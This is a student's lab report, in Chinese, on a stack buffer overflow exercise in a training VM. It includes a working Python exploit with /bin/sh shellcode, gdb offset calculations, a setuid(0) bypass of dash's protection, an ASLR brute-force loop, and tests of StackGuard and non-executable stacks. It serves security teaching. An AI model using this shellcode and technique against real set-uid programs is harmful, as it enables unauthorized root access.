Lab 2 实验报告　　57118110 杨紫瑄

Task 1

```
[09/04/20]seed@VM:~$ gcc -z execstack -o shellcode shellcode.c
[09/04/20]seed@VM:~$
```

将代码编译保存在 shellcode.c 文件中并运行，启动 shell

```
[09/04/20]seed@VM:~$ vi stack.c
[09/04/20]seed@VM:~$ gcc -o stack -z execstack -fno-stack-protecto
r stack.c
[09/04/20]seed@VM:~$ sudo chown root stack
[09/04/20]seed@VM:~$ sudo chmod 4755 stack
[09/04/20]seed@VM:~$
```

将程序的所有权更改为 root 并授予 set-uid 权限

Task 2

将 BUF_SIZE 改为 6，以便更容易溢出

```
[09/04/20]seed@VM:~/Desktop$ sudo sysctl -w kernel.randomize_va_sp
ace=0
kernel.randomize_va_space = 0
```

关闭地址随机化

```
gdb-peda$ p $ebp
$1 = (void *) 0xbfffea58
gdb-peda$ p &buffer
$2 = (char (*)[6]) 0xbfffea4a
gdb-peda$ p/d 0xbfffea58 - 0xbfffea4a
$3 = 14
gdb-peda$ quit
```

得到 ebp 和 buffer 的地址，求出两地址差，得到 buffer 和 return address 之间的距离检验是否为 BUF_SIZE+8

```
root@VM:/home/seed# gcc -o stack -z execstack -fno-stack-protector
 stack1.c
root@VM:/home/seed# sudo chown root stack_dbg
root@VM:/home/seed# sudo chmod 4755 stack_dbg
```

在 root 下编译 stack1.c 并提升 set-uid 权限

```
gdb-peda$ i r $esp
esp            0xbfffea68       0xbfffea68
```

获得 shellcode 的起始地址 0xbfffea68

```
#!/usr/bin/python3
import sys
shellcode=(
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
"\x00"
).encode('latin-1')
content=bytearray(0x90 for i in range(517))
start=517-len(shellcode)
content[start:]=shellcode
ret=0xbfffea68+120
offset=18
content[offset:offset+4]=(ret).to_bytes(4,byteorder='little')
with open('badfile','wb') as f:
 f.write(content)
```

上为 exploit.py 代码

```
[09/05/20]seed@VM:~$ vi exploit.py
[09/05/20]seed@VM:~$ chmod u+x exploit.py
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack_dbg
```

```
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm
),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambasha
re)
#
```

编译成功获得 root 权限

Task 3

```
[09/05/20]seed@VM:~$ sudo ln -sf /bin/dash /bin/sh
```

将/bin/sh 符号链接指回/bin/dash

未取消注释时：

```
[09/05/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/05/20]seed@VM:~$ sudo chown root dash_shell_test
[09/05/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/05/20]seed@VM:~$ ./dash_shell_test
$
```

获取的是普通用户权限的 shell

取消注释后：

```
[09/05/20]seed@VM:~$ vi dash_shell_test.c
[09/05/20]seed@VM:~$ gcc dash_shell_test.c -o dash_shell_test
[09/05/20]seed@VM:~$ sudo chown root dash_shell_test
[09/05/20]seed@VM:~$ sudo chmod 4755 dash_shell_test
[09/05/20]seed@VM:~$ ./dash_shell_test
#
```

利用 setuid(0),获取 shell 的 root 权限

在 exploit.py 中添加代码后再次进行 Task 2 操作：

```
[09/05/20]seed@VM:~$ vi exploit.py
[09/05/20]seed@VM:~$ chmod u+x exploit.py
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack_dbg
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(s
udo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
#
```

发现进入了特权模式，获得了 root 权限。因为在执行 shell 命令之前，特权用户仍然有 root 权限，setuid(0)设置真实用户为 0，绕过 dash 的防御措施。

Task 4

```
[09/05/20]seed@VM:~$ sudo /sbin/sysctl -w kernel.randomize_va_spac
e=2
kernel.randomize_va_space = 2
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack_dbg
Segmentation fault
[09/05/20]seed@VM:~$
```

开启地址随机化，再次编译 Task 2，发现出现段错误

```
./test.py: line 13:  6871 Segmentation fault      ./stack_dbg
2 minutes and 40 seconds elapsed.
The program has been running 57801 times so far.
./test.py: line 13:  6872 Segmentation fault      ./stack_dbg
2 minutes and 40 seconds elapsed.
The program has been running 57802 times so far.
./test.py: line 13:  6873 Segmentation fault      ./stack_dbg
2 minutes and 40 seconds elapsed.
The program has been running 57803 times so far.
./test.py: line 13:  6874 Segmentation fault      ./stack_dbg
2 minutes and 40 seconds elapsed.
The program has been running 57804 times so far.
./test.py: line 13:  6875 Segmentation fault      ./stack_dbg
2 minutes and 40 seconds elapsed.
The program has been running 57805 times so far.
#
```

地址随机化后，编写测试代码，跑了 2 分钟 40 秒，执行了 5 万七千次左右命中地址，获得特权

Task 5

```
[09/05/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/05/20]seed@VM:~$ sudo gcc -g -z execstack -o stack_dbg stack1.
c
[09/05/20]seed@VM:~$ sudo su
root@VM:/home/seed# chmod u+s stack
root@VM:/home/seed# exit
exit
[09/05/20]seed@VM:~$ chmod u+x exploit.py
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack_dbg
*** stack smashing detected ***: ./stack_dbg terminated
Aborted
[09/05/20]seed@VM:~$
```

关闭地址随机化后，再次编译 Task 2 并启用 StackGuard 保护机制，发现不会进入特权模式，并出现了缓存溢出

Task 6

```
[09/05/20]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[09/05/20]seed@VM:~$ gcc -o stack_dbg -fno-stack-protector -z noex
ecstack stack1.c
[09/05/20]seed@VM:~$ exploit.py
[09/05/20]seed@VM:~$ ./stack_dbg
Segmentation fault
[09/05/20]seed@VM:~$
```

关闭地址随机化后，再次编译 Task 2 无法得到一个 shell，显示段错误

实验总结：此次试验我在 Task2 中遇到了一些问题，buffer 一直显示 return properly，没有实验溢出，之后我将 BUFFER_SIZE 改小后问题得以解决。通过此次试验我对缓冲区溢出漏洞的相关知识有了更深的了解，也对 linux 各代码的更加熟悉。